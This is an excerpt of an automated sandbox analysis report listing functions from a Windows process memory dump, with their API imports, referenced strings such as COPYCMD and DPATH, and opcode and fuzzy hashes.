Part of subcall function 00007FF718D53A0C: FindClose.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FF718D6EAC5,?,?,?,00007FF718D6E925,?,?,?,?,00007FF718D4B9B1), ref: 00007FF718D53A56

Part of subcall function 00007FF718D45194: VirtualAlloc.API-MS-WIN-CORE-MEMORY-L1-1-0 ref: 00007FF718D451C4

Part of subcall function 00007FF718D5823C: FindFirstFileExW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D58280
Part of subcall function 00007FF718D5823C: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D5829D

Part of subcall function 00007FF718D501B8: _get_osfhandle.MSVCRT ref: 00007FF718D501C4
Part of subcall function 00007FF718D501B8: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FF718D5E904,?,?,?,?,00000000,00007FF718D53491,?,?,?,00007FF718D64420), ref: 00007FF718D501D6

Part of subcall function 00007FF718D44FE8: _get_osfhandle.MSVCRT ref: 00007FF718D45012
Part of subcall function 00007FF718D44FE8: ReadFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D45030

GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D6DDB0

Part of subcall function 00007FF718D459E4: CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D45A2E
Part of subcall function 00007FF718D459E4: _open_osfhandle.MSVCRT ref: 00007FF718D45A4F

_get_osfhandle.MSVCRT ref: 00007FF718D6DDEB
SetEndOfFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D6DDFA
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D6E204
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D6E223
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D6E242

Strings

%s, xrefs: 00007FF718D6DC95, 00007FF718D6E00C
%9d, xrefs: 00007FF718D6D9EF
~, xrefs: 00007FF718D6DB34

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: File$_get_osfhandlememset$Find$AllocAttributesCloseCreateErrorFirstLastReadTypeVirtual_open_osfhandlelongjmp
String ID: %9d$%s$~
API String ID: 3651208239-912394897
Opcode ID: 890cca104b69365cf936dd1624f6b5150d7a96fff965683345eff720fd26938b
Instruction ID: 0133b3d5b835d771674005405bcf7b5e59aef1cc8d560047d499954a2e371939
Opcode Fuzzy Hash: 890cca104b69365cf936dd1624f6b5150d7a96fff965683345eff720fd26938b
Instruction Fuzzy Hash: E9428231A08F8A86E764AF21D4512F9F3B1FB49764FA00136E68D87A99DF3CE54C8714

Function 00007FF718D4CE10 Relevance: 23.1, APIs: 12, Strings: 1, Instructions: 337COMMON

Download Yara Rule

APIs

_tell.MSVCRT ref: 00007FF718D4CEAF
memset.MSVCRT ref: 00007FF718D4CF5C
_wcsicmp.MSVCRT ref: 00007FF718D4CFAE
GetConsoleOutputCP.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF718D4D003
GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D4D01E
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D4D044
EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF718D5C889
LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF718D5C8A2

Strings

GOTO, xrefs: 00007FF718D4D0A3

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: CriticalSection$ConsoleEnterInfoLeaveOutput_tell_wcsicmpmemset
String ID: GOTO
API String ID: 3863671652-1693823284
Opcode ID: 8a7ebebe1ccbf711eb435a48e2ca9f96987f67b530ed60dee1bcce27abdacbd9
Instruction ID: ade3d96499f3b27a5069a8f1ff62a733d8c024913b94394ff0027fd4d4be5dd5
Opcode Fuzzy Hash: 8a7ebebe1ccbf711eb435a48e2ca9f96987f67b530ed60dee1bcce27abdacbd9
Instruction Fuzzy Hash: 43E1DD31A09F4A86FB64BB159444379E6A0AF4D774FD84236C98E43AD1DF3CE84D8728

Function 00007FF718D4372C Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 396COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D43921

Part of subcall function 00007FF718D509F4: iswspace.MSVCRT ref: 00007FF718D50A11
Part of subcall function 00007FF718D509F4: wcschr.MSVCRT ref: 00007FF718D50A2B

wcsrchr.MSVCRT ref: 00007FF718D437D2
_wcsnicmp.MSVCRT ref: 00007FF718D4381A
wcsrchr.MSVCRT ref: 00007FF718D43A0C
wcsrchr.MSVCRT ref: 00007FF718D43A35
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D43A9D
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D43ACC
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D43AE1
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D43B1E

Strings

\, xrefs: 00007FF718D43AB9
COPYCMD, xrefs: 00007FF718D437AE

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: wcsrchr$ErrorLast$AttributesFile_wcsnicmpiswspacememsetwcschr
String ID: COPYCMD$\
API String ID: 3989487059-1802776761
Opcode ID: 3bbf8f215ee2954a5d4fb17bf70d9d8e166cfa696a158a9e0d223ca151e74ab2
Instruction ID: 380f781db08b13182cfdf69db2970bd083fb870898bba80f038ac0acf0e0cdcd
Opcode Fuzzy Hash: 3bbf8f215ee2954a5d4fb17bf70d9d8e166cfa696a158a9e0d223ca151e74ab2
Instruction Fuzzy Hash: D2F1B565A08F4E86EF14BB25D4016BAE3A0FF4DBA8F984135DA8D47B94DE3CE44D8314

Function 00007FF718D71538 Relevance: 19.7, APIs: 13, Instructions: 169filememorynativeCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718D71408: GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D7142A
Part of subcall function 00007FF718D71408: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D7144F

Part of subcall function 00007FF718D71408: GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D7146C

SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D715A8
CreateDirectoryW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D715D1
CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D7160B
RtlDosPathNameToNtPathName_U.NTDLL ref: 00007FF718D71635
memset.MSVCRT ref: 00007FF718D71677
memmove.MSVCRT ref: 00007FF718D716AD
memmove.MSVCRT ref: 00007FF718D716E6
NtFsControlFile.NTDLL ref: 00007FF718D7171D
RtlNtStatusToDosError.NTDLL ref: 00007FF718D7172F
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D7173D
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF718D71754
RtlFreeHeap.NTDLL ref: 00007FF718D7177F
RemoveDirectoryW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D71797

Part of subcall function 00007FF718D71A40: memset.MSVCRT ref: 00007FF718D71AA6
Part of subcall function 00007FF718D71A40: memset.MSVCRT ref: 00007FF718D71ACC
Part of subcall function 00007FF718D71A40: GetVolumePathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D71B3E
Part of subcall function 00007FF718D71A40: GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D71B67
Part of subcall function 00007FF718D71A40: GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D71BD7
Part of subcall function 00007FF718D71A40: _wcsicmp.MSVCRT ref: 00007FF718D71C05

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Path$ErrorName$Lastmemset$CreateDirectoryFileFullVolumememmove$CloseControlDriveFreeHandleHeapInformationName_RemoveStatusType_wcsicmp
String ID:
API String ID: 3935429995-0
Opcode ID: 2ee110a42e0ffdb27aede9fb5eb1a80379d063d7b2cbba6d0c9e22b52d84b57f
Instruction ID: e262bebe74c5f069e6ff2c7615e8b9685dfc5013b9db2482a3780ccc22556c59
Opcode Fuzzy Hash: 2ee110a42e0ffdb27aede9fb5eb1a80379d063d7b2cbba6d0c9e22b52d84b57f
Instruction Fuzzy Hash: 3A61B126A08F96C2EB14AF21A405579FBA1FB8DF68F858235DE8A43790DF3CD40D8714

Function 00007FF718D53140 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 229timeCOMMON

Download Yara Rule

APIs

GetSystemTime.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF718D53189
SystemTimeToFileTime.API-MS-WIN-CORE-TIMEZONE-L1-1-0 ref: 00007FF718D5319F
FileTimeToLocalFileTime.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D531B5
FileTimeToSystemTime.API-MS-WIN-CORE-TIMEZONE-L1-1-0 ref: 00007FF718D531CB
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D5E619
GetTimeFormatW.API-MS-WIN-CORE-DATETIME-L1-1-0 ref: 00007FF718D5E738

Strings

%2d%s%02d%s%02d%s%02d, xrefs: 00007FF718D53236, 00007FF718D5E5C9
, xrefs: 00007FF718D5E718
%02d%s%02d%s, xrefs: 00007FF718D5E799
HH:mm:ss t, xrefs: 00007FF718D5E629

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Time$File$System$FormatInfoLocalLocale
String ID: $%02d%s%02d%s$%2d%s%02d%s%02d%s%02d$HH:mm:ss t
API String ID: 55602301-695310191
Opcode ID: d793cf68f885368b4ca952d7378f9a0084057b150934299f8dfb9ae4312d122b
Instruction ID: e4e1c09b9103a124a822a8435c7c64a55bbebf752b0a5f600b7a72b126ea610f
Opcode Fuzzy Hash: d793cf68f885368b4ca952d7378f9a0084057b150934299f8dfb9ae4312d122b
Instruction Fuzzy Hash: A1A18272A08F4A96EB10AB10E4401BAF7B5FB89764FD04236DA8E43694EF3CE54CC754

Function 00007FF718D435B8 Relevance: 18.2, APIs: 12, Instructions: 214COMMON

Download Yara Rule

APIs

GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D43620

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 41fbdc0f45981392a8be1ae3f0b798cbf48c2336bf4ed7969cfd2cedfd2f237f
Instruction ID: 26b99ddedf1d57922a2265bf6bf660dfbc7ecaac4b56e1808808a69afb4ec500
Opcode Fuzzy Hash: 41fbdc0f45981392a8be1ae3f0b798cbf48c2336bf4ed7969cfd2cedfd2f237f
Instruction Fuzzy Hash: 04919F32608F8A86EB28AF25D4502FDF6A0FB4D769F944135DA8E47B94DE3CD54CC224

Function 00007FF718D4B0D8 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D4B13F

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

_get_osfhandle.MSVCRT ref: 00007FF718D4B22A
_get_osfhandle.MSVCRT ref: 00007FF718D4B241

Part of subcall function 00007FF718D51EA0: wcschr.MSVCRT(?,?,?,00007FF718D4286E,00000000,00000000,00000000,00000000,00000000,0000000A,?,00007FF718D70D54), ref: 00007FF718D51EB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D4B2F7

Strings

DPATH, xrefs: 00007FF718D5C078

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: _get_osfhandlememset$wcschr
String ID: DPATH
API String ID: 3260997497-2010427443
Opcode ID: 3d336d0508f9d51260e4716dc0b75001e2ca59ffb0876634830191a582af1c3b
Instruction ID: 6a36b28adf339db6527225fa81a84662f945e7333ca52c5f46a5619223256d77
Opcode Fuzzy Hash: 3d336d0508f9d51260e4716dc0b75001e2ca59ffb0876634830191a582af1c3b
Instruction Fuzzy Hash: 5FD19E32A08F4A86EB14AB65D44117DE2B1FB58BA4FC84232D99D477D4DF3CE80D8368

Function 00007FF718D57FF8 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 87filenativeCOMMON

Download Yara Rule

APIs

RtlDosPathNameToRelativeNtPathName_U_WithStatus.NTDLL ref: 00007FF718D5802B
NtOpenFile.NTDLL ref: 00007FF718D58092
RtlReleaseRelativeName.NTDLL ref: 00007FF718D580A4
RtlFreeUnicodeString.NTDLL ref: 00007FF718D580B4

Part of subcall function 00007FF718D58114: NtQueryVolumeInformationFile.NTDLL ref: 00007FF718D58151

CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF718D580E2
NtSetInformationFile.NTDLL ref: 00007FF718D60327
DeleteFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D60342
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D60356

Strings

@P, xrefs: 00007FF718D5805E

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: File$InformationNamePathRelative$CloseDeleteErrorFreeHandleLastName_OpenQueryReleaseStatusStringUnicodeVolumeWith
String ID: @P
API String ID: 1801357106-3670739982
Opcode ID: a098cbb43c680f3415d79602374c39353e633b648bff1f45cd59ed0b1006156a
Instruction ID: 48ba600cf6b683a8a543b1dbccc02fc9dbb0367342f910a016512147f53e1d69
Opcode Fuzzy Hash: a098cbb43c680f3415d79602374c39353e633b648bff1f45cd59ed0b1006156a
Instruction Fuzzy Hash: EA415932B04F4ADAE310AF65D4402ADFBB0EB8D769F948231DA8D52A98DF78D50CC714

Function 00007FF718D42220 Relevance: 15.4, APIs: 10, Instructions: 368COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D42287
memset.MSVCRT ref: 00007FF718D422AD
memset.MSVCRT ref: 00007FF718D422D3
memset.MSVCRT ref: 00007FF718D422F9

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D423F6
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D42415
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D42434
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D42453

Part of subcall function 00007FF718D42618: GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,00008000,00007FF718D42397), ref: 00007FF718D42666

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: memset$BufferConsoleInfoScreen
String ID:
API String ID: 1034426908-0
Opcode ID: 64486a4b6b13c1c8e977e62f0f94e25a0603b25ea896dd7b7fc126d69d5cd52d
Instruction ID: 4080e8fa45e1d04afec30a39e85290416078cff3174a24b130745ac71c9a377f
Opcode Fuzzy Hash: 64486a4b6b13c1c8e977e62f0f94e25a0603b25ea896dd7b7fc126d69d5cd52d
Instruction Fuzzy Hash: E8F1A332608F8A8AEB24EF21D8402E9F7A0FF59768F844175DA8D47A95DF38E50CC714

Function 00007FF718D5823C Relevance: 15.1, APIs: 10, Instructions: 116COMMON

Download Yara Rule

APIs

FindFirstFileExW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D58280
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D5829D

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: ErrorFileFindFirstLast
String ID:
API String ID: 873889042-0
Opcode ID: 11074d3c224ce67514852d4966aba4998422fc44b58f31243b65843f6fe49b86
Instruction ID: f42558e83a8816533f83753d22104c85286e8e14183712f9df04dda3b31d3916
Opcode Fuzzy Hash: 11074d3c224ce67514852d4966aba4998422fc44b58f31243b65843f6fe49b86
Instruction Fuzzy Hash: 48512B35A09F4A8AE700AF11A441279FBB0FB5EBA1FD48232DA9D43354CF3CE45C8618

Function 00007FF718D6AC4C Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 194registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF718D6AD67
RegCreateKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF718D6ADF0
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF718D6AE17
RegSetValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF718D6AE94
RegDeleteValueW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF718D6AED1
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF718D6AEFA

Strings

%s=%s, xrefs: 00007FF718D6AEA9
\Shell\Open\Command, xrefs: 00007FF718D6AD12

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: CloseValue$CreateDeleteOpen
String ID: %s=%s$\Shell\Open\Command
API String ID: 4081037667-3301834661
Opcode ID: 95367a666dc1e10ecfff189f591a6456c9e88ca4fe6cad7e4a3eb832a6d246c2
Instruction ID: c865b5594a1c9814fb628596e52e2cdb6265d2a2987fe98c584e7eea8e4e45da
Opcode Fuzzy Hash: 95367a666dc1e10ecfff189f591a6456c9e88ca4fe6cad7e4a3eb832a6d246c2
Instruction Fuzzy Hash: BD71B262B09F4A86EB50AB16A0502B9E2A1FF8D7A4FD44131DECE07785EF3CD44D8725

Function 00007FF718D6AA30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 123registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF718D6AA85
RegSetValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF718D6AACF
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF718D6AAEC
RegDeleteKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00007FF718D698C0), ref: 00007FF718D6AB39
RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00007FF718D698C0), ref: 00007FF718D6AB6F
RegDeleteValueW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00007FF718D698C0), ref: 00007FF718D6ABA4
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00007FF718D698C0), ref: 00007FF718D6ABCB

Strings

%s=%s, xrefs: 00007FF718D6AB02

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: CloseDeleteValue$CreateOpen
String ID: %s=%s
API String ID: 1019019434-1087296587
Opcode ID: 72247b027dceff1e1530fc5cf8e528a5709370e20d618e6d58b54cd87f2ef8dd
Instruction ID: d20ad81498c4674e2c6cc02ada39c14313378811d2d607f9cb4eda47d20e526e
Opcode Fuzzy Hash: 72247b027dceff1e1530fc5cf8e528a5709370e20d618e6d58b54cd87f2ef8dd
Instruction Fuzzy Hash: 0951B231B08F5A86E760AB2AA44176AF6A1FB8D7A0F948235CACD43790DF38D44D8715

Function 00007FF718D41884 Relevance: 10.9, APIs: 5, Strings: 1, Instructions: 380COMMON

Download Yara Rule

APIs

wcsrchr.MSVCRT ref: 00007FF718D4194E
_wcsnicmp.MSVCRT ref: 00007FF718D419A1
wcsrchr.MSVCRT ref: 00007FF718D41A1D
_wcsnicmp.MSVCRT ref: 00007FF718D41A75

Strings

COPYCMD, xrefs: 00007FF718D4192B, 00007FF718D419F9

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: _wcsnicmpwcsrchr
String ID: COPYCMD
API String ID: 2429825313-3727491224
Opcode ID: 4d82711cc2208d1db92bdbc9a67415b50588ed216ffaf236914d612e0490fdc8
Instruction ID: dc468bc12b506f6d56b7a7d670d5fef67d32368e32baff902cbc4676e4fac23e
